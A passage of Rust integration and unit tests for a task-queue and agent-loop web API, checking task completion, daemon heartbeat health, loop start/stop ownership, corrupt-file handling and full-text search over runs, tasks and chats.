18658        queue.put(&mut task).expect("file the task");
18659        let created_at = task.created_at;
18660
18661        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18662        assert_eq!(done.status, 200, "{}", done.body);
18663        assert_eq!(done.json()["status_str"], "done");
18664
18665        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
18666        assert_eq!(
18667            reloaded.runs,
18668            ["20260101-000000-b455", "20260101-000000-9af4"]
18669        );
18670        assert_eq!(
18671            reloaded.source,
18672            Source::Agent {
18673                run: "20260101-000000-b455".to_owned(),
18674                node: "implement".to_owned(),
18675            }
18676        );
18677        assert_eq!(reloaded.created_at, created_at);
18678    }
18679
18680    #[tokio::test]
18681    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
18682        // `done` is allowed on any status, including `held`, with no release
18683        // in between - so a task held for a reason and then closed directly
18684        // must not keep reading as "waiting on" it afterwards, on its card or
18685        // in `magi task show`.
18686        let f = Fixture::start().await;
18687        let queue = f.queue();
18688        let mut task = Task::new(
18689            "landed while held".to_owned(),
18690            "x".to_owned(),
18691            PathBuf::from("/repo/magi"),
18692            Source::Human,
18693        );
18694        task.hold_manual(Some("waiting on 3ed9".to_owned()));
18695        queue.put(&mut task).expect("file the held task");
18696
18697        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18698        assert_eq!(done.status, 200, "{}", done.body);
18699        assert_eq!(done.json()["status_str"], "done");
18700        assert!(
18701            done.json()["hold_reason"].is_null(),
18702            "a done task cannot still be waiting on something: {}",
18703            done.body
18704        );
18705    }
18706
18707    #[tokio::test]
18708    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
18709        // `queue_done` is the phone's way to close a task the loop never
18710        // settled itself - after confirming a manual GitHub merge, say - and
18711        // that is just as much "this task's story is over" as the loop's own
18712        // `Merged`/`Ready` path, so it must trigger the same cleanup.
18713        let f = Fixture::start().await;
18714        let queue = f.queue();
18715        let runs = f.runs();
18716        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
18717        // The last attempt has to have actually landed for the earlier one
18718        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
18719        // for the case where it didn't.
18720        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
18721
18722        let mut task = Task::new(
18723            "landed by hand".to_owned(),
18724            "x".to_owned(),
18725            PathBuf::from("/repo/magi"),
18726            Source::Human,
18727        );
18728        task.runs.push("20260101-000000-doa1".to_owned());
18729        task.runs.push("20260101-000000-doa2".to_owned());
18730        queue.put(&mut task).expect("file the task");
18731
18732        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18733        assert_eq!(done.status, 200, "{}", done.body);
18734
18735        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
18736            .expect("run still on disk under this fixture's own home");
18737        assert_eq!(
18738            reloaded_run.status,
18739            RunStatus::Superseded,
18740            "closing the task by hand must relabel the earlier blocked attempt exactly \
18741             like the loop's own settle path does"
18742        );
18743    }
18744
18745    #[tokio::test]
18746    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
18747        // Closing a task by hand is allowed from any status, including one
18748        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
18749        // manual merge the loop never watched, say. Nothing here is provably
18750        // why the task is done, so nothing earlier gets relabelled either.
18751        let f = Fixture::start().await;
18752        let queue = f.queue();
18753        let runs = f.runs();
18754        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
18755        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
18756
18757        let mut task = Task::new(
18758            "closed with nothing actually landed".to_owned(),
18759            "x".to_owned(),
18760            PathBuf::from("/repo/magi"),
18761            Source::Human,
18762        );
18763        task.runs.push("20260101-000000-dob1".to_owned());
18764        task.runs.push("20260101-000000-dob2".to_owned());
18765        queue.put(&mut task).expect("file the task");
18766
18767        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18768        assert_eq!(done.status, 200, "{}", done.body);
18769
18770        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
18771            .expect("run still on disk under this fixture's own home");
18772        assert_eq!(
18773            reloaded_run.status,
18774            RunStatus::Blocked,
18775            "the last recorded attempt never landed, so the earlier one must not be \
18776             relabelled as superseded by it"
18777        );
18778    }
18779
18780    #[tokio::test]
18781    async fn unknown_ids_are_json_not_found_on_both_stores() {
18782        let f = Fixture::start().await;
18783
18784        let run = f.get("/api/runs/nosuchrun").await;
18785        let task = f.post("/api/queue/nosuchtask/hold", None).await;
18786
18787        assert_eq!(run.status, 404);
18788        assert_eq!(task.status, 404);
18789        assert!(
18790            run.json()["error"]
18791                .as_str()
18792                .is_some_and(|e| e.contains("run")),
18793            "the error names what was not found: {}",
18794            run.body
18795        );
18796        assert!(
18797            task.json()["error"]
18798                .as_str()
18799                .is_some_and(|e| e.contains("task")),
18800            "the error names what was not found: {}",
18801            task.body
18802        );
18803    }
18804
18805    #[tokio::test]
18806    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
18807        let f = Fixture::start().await;
18808
18809        let missing = f.get("/api/health").await.json();
18810        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
18811
18812        write_daemon(
18813            f.home.path(),
18814            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18815        );
18816        let stale = f.get("/api/health").await.json();
18817        assert_eq!(
18818            stale["daemon"]["running"], false,
18819            "a minute without a heartbeat is a dead daemon, not a busy one"
18820        );
18821        assert!(
18822            stale["daemon"]["stale_for_secs"]
18823                .as_i64()
18824                .is_some_and(|s| s >= 55),
18825            "staleness is reported so the UI can say how long: {stale}"
18826        );
18827
18828        write_daemon(f.home.path(), Timestamp::now());
18829        let fresh = f.get("/api/health").await.json();
18830        assert_eq!(fresh["daemon"]["running"], true);
18831        assert_eq!(fresh["daemon"]["idle"], false);
18832        assert_eq!(fresh["daemon"]["pid"], 4242);
18833        assert_eq!(fresh["daemon"]["completed"], 7);
18834        assert_eq!(
18835            fresh["daemon"]["current"][0]["task"],
18836            "20260902-140501-aaaa"
18837        );
18838        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
18839    }
18840
18841    #[tokio::test]
18842    async fn the_loop_is_not_running_until_something_starts_it() {
18843        let f = Fixture::start().await;
18844
18845        let view = f.get("/api/loop").await.json();
18846        assert_eq!(view["running"], false);
18847        assert_eq!(
18848            view["owned"], false,
18849            "nobody owns a loop that does not exist: {view}"
18850        );
18851        assert_eq!(view["stopping"], false);
18852        assert_eq!(view["last_error"], Value::Null);
18853        assert_eq!(view["daemon"]["running"], false);
18854        assert_eq!(
18855            view["repo"], "/repo/magi",
18856            "the repository a start would use, named before it is started"
18857        );
18858    }
18859
18860    #[tokio::test]
18861    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18862        let f = Fixture::start().await;
18863
18864        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18865        assert_eq!(res.status, 200, "{}", res.body);
18866        let view = res.json();
18867        assert_eq!(view["running"], true);
18868        assert_eq!(
18869            view["owned"], true,
18870            "the loop the UI started is the UI's own to stop: {view}"
18871        );
18872        assert_eq!(
18873            view["merge"],
18874            Value::Null,
18875            "no override was given, so each repository's own config decides"
18876        );
18877
18878        // The same object from the route a waking phone polls first. Two
18879        // surfaces disagreeing about whether anything is running is exactly
18880        // the confusion this UI exists to remove.
18881        let health = f.get("/api/health").await.json();
18882        assert_eq!(health["loop"]["running"], true, "{health}");
18883        assert_eq!(health["loop"]["owned"], true, "{health}");
18884
18885        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18886    }
18887
18888    #[tokio::test]
18889    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18890        let f = Fixture::start().await;
18891        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18892        assert_eq!(first.status, 200, "{}", first.body);
18893
18894        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18895        assert_eq!(
18896            again.status, 409,
18897            "two loops on one queue race for the same claims: {}",
18898            again.body
18899        );
18900        assert!(
18901            again.json()["error"]
18902                .as_str()
18903                .is_some_and(|e| e.contains("already running the loop")),
18904            "the refusal has to say why: {}",
18905            again.body
18906        );
18907        assert_eq!(
18908            f.get("/api/loop").await.json()["running"],
18909            true,
18910            "and the loop that was already running is untouched by it"
18911        );
18912
18913        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18914    }
18915
18916    #[tokio::test]
18917    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18918        let f = Fixture::start().await;
18919        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18920
18921        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18922        assert_eq!(
18923            res.status, 200,
18924            "the answer must not wait for the loop: a run in flight is tens of \
18925             minutes and the operator is holding a phone: {}",
18926            res.body
18927        );
18928
18929        let view = settled(&f, |v| v["running"] == false).await;
18930        assert_eq!(view["owned"], false);
18931        assert_eq!(
18932            view["stopping"], false,
18933            "a loop that has stopped is not still stopping: {view}"
18934        );
18935        assert_eq!(
18936            view["last_error"],
18937            Value::Null,
18938            "a loop that was asked to stop did not fail: {view}"
18939        );
18940
18941        // Idempotent, because the operator cannot tell a slow stop from a lost
18942        // one and will press it again.
18943        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18944        assert_eq!(twice.status, 200, "{}", twice.body);
18945    }
18946
18947    #[tokio::test]
18948    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
18949        let f = Fixture::start().await;
18950        // How the operator has been doing it: a `magi serve` of their own,
18951        // heartbeat fresh, in the same home this UI reads.
18952        write_daemon(f.home.path(), Timestamp::now());
18953
18954        let view = f.get("/api/loop").await.json();
18955        assert_eq!(view["running"], false, "not in this process: {view}");
18956        assert_eq!(view["owned"], false, "and not this process's to control");
18957        assert_eq!(
18958            view["daemon"]["running"], true,
18959            "but a loop is alive somewhere, which is what the UI must say"
18960        );
18961        assert_eq!(view["daemon"]["pid"], 4242);
18962
18963        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
18964            let res = f.post("/api/loop", Some(body)).await;
18965            assert_eq!(
18966                res.status, 409,
18967                "neither button may pretend to work on someone else's loop: {}",
18968                res.body
18969            );
18970            assert!(
18971                res.json()["error"]
18972                    .as_str()
18973                    .is_some_and(|e| e.contains("4242")),
18974                "the refusal has to name the process the operator must go to: {}",
18975                res.body
18976            );
18977        }
18978        assert_eq!(
18979            f.get("/api/loop").await.json()["running"],
18980            false,
18981            "and the refusal started nothing"
18982        );
18983    }
18984
18985    #[tokio::test]
18986    async fn a_stale_status_file_is_not_a_foreign_owner() {
18987        let f = Fixture::start().await;
18988        write_daemon(
18989            f.home.path(),
18990            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18991        );
18992
18993        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18994        assert_eq!(
18995            res.status, 200,
18996            "a daemon killed a minute ago must not lock the loop out of its \
18997             own home for good: {}",
18998            res.body
18999        );
19000        assert_eq!(res.json()["running"], true);
19001
19002        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19003    }
19004
19005    #[tokio::test]
19006    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
19007        let f = Fixture::start().await;
19008        let before = f.get("/api/health").await.json()["loop_rev"]
19009            .as_u64()
19010            .expect("a loop revision");
19011
19012        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19013
19014        let after = f.get("/api/health").await.json()["loop_rev"]
19015            .as_u64()
19016            .expect("a loop revision");
19017        assert!(
19018            after > before,
19019            "the loop is in-process state, so this counter is the only thing \
19020             that tells a second device the first one started it: {before} -> \
19021             {after}"
19022        );
19023
19024        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19025    }
19026
19027    #[tokio::test]
19028    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
19029        let f = Fixture::with_loop(launch_broken).await;
19030
19031        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19032        assert_eq!(
19033            res.status, 200,
19034            "starting it is not the failure: {}",
19035            res.body
19036        );
19037
19038        let view = settled(&f, |v| v["last_error"].is_string()).await;
19039        assert_eq!(
19040            view["running"], false,
19041            "a loop that died must not read as running, or the operator has \
19042             nothing to press: {view}"
19043        );
19044        assert_eq!(view["owned"], false);
19045        assert!(
19046            view["last_error"]
19047                .as_str()
19048                .is_some_and(|e| e.contains("read-only file system")),
19049            "the phone is where a loop that died at 3am is visible: {view}"
19050        );
19051
19052        // And it can be started again: the corpse was reaped, not left to
19053        // occupy the slot.
19054        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19055        assert_eq!(again.status, 200, "{}", again.body);
19056        assert!(
19057            again.json()["last_error"]
19058                .as_str()
19059                .is_none_or(|e| !e.contains("read-only file system")),
19060            "a fresh start does not keep showing why the last one died: {}",
19061            again.body
19062        );
19063    }
19064
19065    #[tokio::test]
19066    async fn a_newer_daemon_status_file_still_renders() {
19067        let f = Fixture::start().await;
19068        // A field this build has never heard of must not turn the status line
19069        // into a 500; that is the whole reason the reader is permissive.
19070        std::fs::write(
19071            f.home.path().join("daemon.json"),
19072            serde_json::json!({
19073                "schema": 2,
19074                "updated_at": Timestamp::now().to_string(),
19075                "idle": true,
19076                "surprise": { "nested": [1, 2, 3] },
19077            })
19078            .to_string(),
19079        )
19080        .expect("write daemon.json");
19081
19082        let health = f.get("/api/health").await;
19083
19084        assert_eq!(health.status, 200);
19085        assert_eq!(health.json()["daemon"]["running"], true);
19086    }
19087
19088    #[tokio::test]
19089    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
19090        let f = Fixture::start().await;
19091        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19092        let broken = f.runs().join("20260902-140502-bad");
19093        std::fs::create_dir_all(&broken).expect("run dir");
19094        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19095
19096        let list = f.get("/api/runs").await;
19097        let detail = f.get("/api/runs/20260902-140502-bad").await;
19098
19099        assert_eq!(list.status, 200);
19100        let listed = list.json();
19101        let ids: Vec<&str> = listed
19102            .as_array()
19103            .expect("an array")
19104            .iter()
19105            .map(|r| r["id"].as_str().expect("an id"))
19106            .collect();
19107        assert_eq!(
19108            ids,
19109            vec!["20260902-140501-good"],
19110            "one unreadable run must not cost the operator the whole history"
19111        );
19112        assert_eq!(detail.status, 500);
19113        assert!(
19114            detail.json()["error"]
19115                .as_str()
19116                .is_some_and(|e| e.contains("run.json")),
19117            "the failure names the file to look at: {}",
19118            detail.body
19119        );
19120        // A skipped run has to be countable somewhere, or the UI shows an
19121        // empty history with nothing to explain it - which is exactly what a
19122        // directory full of older-schema runs looks like.
19123        let health = f.get("/api/health").await;
19124        assert_eq!(health.json()["runs_unreadable"], 1);
19125    }
19126
19127    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
19128    #[tokio::test]
19129    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
19130        let f = Fixture::start().await;
19131        let runs = f.runs();
19132        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
19133        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
19134        // Text three levels down, in a shape no current RunState has: an older
19135        // schema must still search.
19136        let path = runs.join("20260902-140502-bbbb").join("run.json");
19137        let mut v: serde_json::Value =
19138            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19139        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
19140        std::fs::write(&path, v.to_string()).unwrap();
19141        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
19142        std::fs::write(
19143            runs.join("20260902-140503-cccc").join("run.json"),
19144            "{ not json",
19145        )
19146        .unwrap();
19147
19148        let res = f.get("/api/search?scope=runs&q=quokka").await;
19149        assert_eq!(res.status, 200, "{}", res.body);
19150        let v = res.json();
19151        assert_eq!(v["total"], 1, "{v}");
19152        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19153        assert_eq!(v["hits"][0]["field"], "text");
19154        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
19155        let parts = v["hits"][0]["snippet"].as_array().unwrap();
19156        assert!(
19157            parts
19158                .iter()
19159                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
19160            "{v}"
19161        );
19162        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
19163        assert_eq!(
19164            flat, "The Quokka leaks across threads",
19165            "whitespace is collapsed"
19166        );
19167
19168        // Terms are ANDed, across different fields, case-insensitively.
19169        let both = f
19170            .get("/api/search?scope=runs&q=MOBILE%20quokka")
19171            .await
19172            .json();
19173        assert_eq!(both["total"], 1, "{both}");
19174        let neither = f
19175            .get("/api/search?scope=runs&q=quokka%20zebra")
19176            .await
19177            .json();
19178        assert_eq!(neither["total"], 0, "{neither}");
19179        // Everything in the task statement is reachable, not only the row text.
19180        let stmt = f
19181            .get("/api/search?scope=runs&q=mobile%20first")
19182            .await
19183            .json();
19184        assert_eq!(stmt["total"], 2, "{stmt}");
19185        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
19186        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
19187    }
19188
19189    #[test]
19190    fn snippet_ignores_terms_longer_than_the_field() {
19191        let terms = ["ok".to_owned(), "elephant".to_owned()];
19192        let parts = snippet_of("ok", &terms);
19193        assert_eq!(
19194            parts,
19195            vec![SnippetPart {
19196                text: "ok".to_owned(),
19197                hit: true
19198            }]
19199        );
19200    }
19201
19202    #[test]
19203    fn snippet_marks_matches_longer_than_the_window() {
19204        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
19205        let hit_len = |parts: &[SnippetPart]| -> usize {
19206            parts
19207                .iter()
19208                .filter(|p| p.hit)
19209                .map(|p| p.text.chars().count())
19210                .sum()
19211        };
19212        let total =
19213            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
19214
19215        let long = "a".repeat(120);
19216        let parts = snippet_of(&long, std::slice::from_ref(&long));
19217        assert!(hit_len(&parts) > 0, "{parts:?}");
19218        assert!(total(&parts) <= cap);
19219
19220        let ja = "あ".repeat(130);
19221        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
19222        assert!(hit_len(&parts) > 0, "{parts:?}");
19223        assert!(total(&parts) <= cap);
19224
19225        // A short hit, then one straddling the window's end.
19226        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
19227        let term = format!("ab{}", "c".repeat(100));
19228        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
19229        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
19230        assert!(total(&parts) <= cap);
19231
19232        // Only the head matches: not highlighted.
19233        let text = format!("{}z", "a".repeat(119));
19234        let parts = snippet_of(&text, &["a".repeat(120)]);
19235        assert_eq!(hit_len(&parts), 0, "{parts:?}");
19236    }
19237
19238    #[tokio::test]
19239    async fn search_caps_hits_and_snippet_length() {
19240        let f = Fixture::start().await;
19241        let runs = f.runs();
19242        for n in 0..(SEARCH_MAX_HITS + 5) {
19243            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
19244        }
19245        let v = f.get("/api/search?scope=runs&q=web").await.json();
19246        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
19247        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
19248        assert_eq!(v["truncated"], true);
19249        // Every listed run hit carries its list row for the page's filters.
19250        assert!(
19251            v["hits"]
19252                .as_array()
19253                .unwrap()
19254                .iter()
19255                .all(|h| h["run"]["status"] == "merged")
19256        );
19257
19258        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
19259        let parts = snippet_of(&long, &["needle".to_owned()]);
19260        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
19261        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
19262        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
19263    }
19264
19265    #[tokio::test]
19266    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
19267        let f = Fixture::start().await;
19268        let queue = f.queue();
19269        let mut t = Task::new(
19270            "short title".to_owned(),
19271            "line one\nthe hidden Armadillo detail".to_owned(),
19272            PathBuf::from("/repo/magi"),
19273            Source::Agent {
19274                run: "r1".to_owned(),
19275                node: "chat".to_owned(),
19276            },
19277        );
19278        t.last_error = Some("disk full on /tmp".to_owned());
19279        queue.put(&mut t).expect("file the task");
19280
19281        for (q, want) in [
19282            ("armadillo", 1),
19283            ("disk%20FULL", 1),
19284            ("chat", 1),
19285            ("queued", 1),
19286            ("short%20nothing", 0),
19287        ] {
19288            let v = f
19289                .get(&format!("/api/search?scope=tasks&q={q}"))
19290                .await
19291                .json();
19292            assert_eq!(v["total"], want, "{q}: {v}");
19293        }
19294        for bad in [
19295            "/api/search?scope=tasks&q=",
19296            "/api/search?scope=tasks&q=%20",
19297            "/api/search?scope=chats&q=",
19298            "/api/search?scope=chats&q=%20",
19299            "/api/search?scope=nope&q=a",
19300            "/api/search?q=a",
19301        ] {
19302            assert_eq!(f.get(bad).await.status, 400, "{bad}");
19303        }
19304    }
19305
19306    /// Write one conversation file the way the store reads it back.
19307    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
19308        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
19309            .expect("seat value");
19310        let turns: Vec<serde_json::Value> = turns
19311            .iter()
19312            .map(|(who, body)| {
19313                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
19314            })
19315            .collect();
19316        let doc = serde_json::json!({
19317            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
19318            "status": status, "turns": turns,
19319            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
19320            "seat": seat,
19321        });
19322        let dir = f.home.path().join("talks");
19323        std::fs::create_dir_all(&dir).expect("talks dir");
19324        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
19325    }
19326
19327    #[test]
19328    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
19329        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19330            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19331            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
19332            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
19333            "seat": crate::agent::SeatState::new("talk", "test", 1)
19334        })).unwrap();
19335        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
19336        talk.title = Some(talk::ChatTitle {
19337            text: "最近の話題".into(),
19338            source: talk::TitleSource::Generated,
19339        });
19340        let doc = talk_search_doc(&talk);
19341        assert_eq!(doc["title"], "最近の話題");
19342        assert_eq!(doc["turns"][0]["operator"], "古い話題");
19343        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
19344        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
19345    }
19346
19347    #[test]
19348    fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
19349        let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
19350        talk.title = Some(talk::ChatTitle {
19351            text: "Saved title".into(),
19352            source: talk::TitleSource::Manual,
19353        });
19354        talk.turns = serde_json::from_value(serde_json::json!([
19355            {
19356                "who": "operator", "sender": "external", "body": "External plain",
19357                "at": "2026-09-08T20:58:02Z"
19358            },
19359            {
19360                "who": "operator", "body": "External message",
19361                "at": "2026-09-08T20:58:03Z",
19362                "messages": [{
19363                    "sender": "external", "body": "External message", "attachments": []
19364                }]
19365            }
19366        ]))
19367        .unwrap();
19368        let doc = talk_search_doc(&talk);
19369        assert_eq!(doc["turns"][0]["external"], "External plain");
19370        assert_eq!(doc["turns"][1]["external"], "External message");
19371        assert!(doc["turns"][0].get("operator").is_none());
19372        assert!(doc["turns"][1].get("operator").is_none());
19373        let hit = search_chat(&search_terms("message"), &talk).unwrap();
19374        assert_eq!(hit.field, "external");
19375        let target = hit.target.unwrap();
19376        assert_eq!((target.turn, target.message), (1, 0));
19377    }
19378
19379    #[test]
19380    fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
19381        let talk: Talk = serde_json::from_value(serde_json::json!({
19382            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19383            "status": "open", "title": {"text":"Saved title", "source":"manual"},
19384            "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
19385                "messages":[{"body":"First message", "attachments":[], "reply":null},
19386                            {"body":"Search 運用", "attachments":[], "reply":null}]},
19387                {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
19388            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
19389            "seat": crate::agent::SeatState::new("talk", "test", 1)
19390        })).unwrap();
19391        let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
19392        let target = hit.target.unwrap();
19393        assert_eq!((target.turn, target.message), (0, 1));
19394        assert_eq!(target.text, chat_text_key("Search 運用"));
19395        assert_eq!(
19396            hit.snippet,
19397            snippet_of("Search 運用", &search_terms("運用 Another"))
19398        );
19399        assert!(
19400            search_chat(&search_terms("Saved"), &talk)
19401                .unwrap()
19402                .target
19403                .is_none()
19404        );
19405        assert!(
19406            search_chat(&search_terms("ab12"), &talk)
19407                .unwrap()
19408                .target
19409                .is_none()
19410        );
19411        // All terms may still match across separate display rows.
19412        assert!(search_chat(&search_terms("message Search"), &talk).is_some());
19413        assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
19414    }
19415
19416    #[test]
19417    fn chat_search_targets_opener_derived_titles() {
19418        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19419            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19420            "status": "open", "turns": [
19421                {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
19422                {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
19423                {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
19424            "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
19425            "seat": crate::agent::SeatState::new("talk", "test", 1)
19426        }))
19427        .unwrap();
19428        let terms = search_terms("運用");
19429        let hit = search_chat(&terms, &talk).unwrap();
19430        assert_eq!(hit.field, "title");
19431        assert_eq!(hit.snippet, snippet_of("運用について", &terms));
19432        let target = hit.target.unwrap();
19433        assert_eq!((target.turn, target.message), (1, 0));
19434        assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
19435        // A blank first send can put the opener line in a later display row.
19436        talk.turns[1].messages = serde_json::from_value(serde_json::json!([
19437            {"body":"", "attachments":[], "reply":null},
19438            {"body":" 運用について\nDetails", "attachments":[], "reply":null}
19439        ]))
19440        .unwrap();
19441        let target = search_chat(&terms, &talk).unwrap().target.unwrap();
19442        assert_eq!((target.turn, target.message), (1, 1));
19443        assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
19444        talk.title = Some(talk::ChatTitle {
19445            text: "運用について".into(),
19446            source: talk::TitleSource::Manual,
19447        });
19448        assert!(search_chat(&terms, &talk).unwrap().target.is_none());
19449    }
19450
19451    #[tokio::test]
19452    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
19453        let f = Fixture::start().await;
19454        write_talk(
19455            &f,
19456            "20260901-000001-aaaa",
19457            "open",
19458            &[
19459                (
19460                    "operator",
19461                    "\n  Why does the Pangolin cache expire?\nsecond line",
19462                ),
19463                ("agent", "Because the TTL is thirty seconds."),
19464            ],
19465        );
19466        write_talk(
19467            &f,
19468            "20260901-000002-bbbb",
19469            "closed",
19470            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
19471        );
19472        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
19473
19474        let search = |q: &'static str| {
19475            let f = &f;
19476            async move {
19477                f.get(&format!("/api/search?scope=chats&q={q}"))
19478                    .await
19479                    .json()
19480            }
19481        };
19482
19483        let v = search("PANGOLIN").await;
19484        assert_eq!(v["scope"], "chats");
19485        assert_eq!(v["total"], 1, "{v}");
19486        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
19487        assert_eq!(v["hits"][0]["field"], "title");
19488        assert_eq!(v["unreadable"], 1, "{v}");
19489        let marked: Vec<&str> = v["hits"][0]["snippet"]
19490            .as_array()
19491            .unwrap()
19492            .iter()
19493            .filter(|p| p["hit"] == true)
19494            .map(|p| p["text"].as_str().unwrap())
19495            .collect();
19496        assert_eq!(marked, ["Pangolin"]);
19497
19498        // An agent turn, in a closed conversation.
19499        let v = search("zebra").await;
19500        assert_eq!(v["total"], 1, "{v}");
19501        assert_eq!(v["hits"][0]["field"], "agent");
19502        // Words may sit in different turns; all must be present.
19503        assert_eq!(search("pangolin%20thirty").await["total"], 1);
19504        assert_eq!(search("pangolin%20zebra").await["total"], 0);
19505        // Bookkeeping is not searched.
19506        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
19507            assert_eq!(search(q).await["total"], 0, "{q}");
19508        }
19509        // The first line only is the title; the second line is still a turn.
19510        assert_eq!(search("second").await["hits"][0]["field"], "operator");
19511        // Open conversations are listed before closed ones.
19512        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
19513
19514        let v = f.get("/api/search?scope=nope&q=a").await;
19515        assert_eq!(v.status, 400);
19516        assert!(
19517            v.body.contains("scope must be runs, tasks or chats"),
19518            "{}",
19519            v.body
19520        );
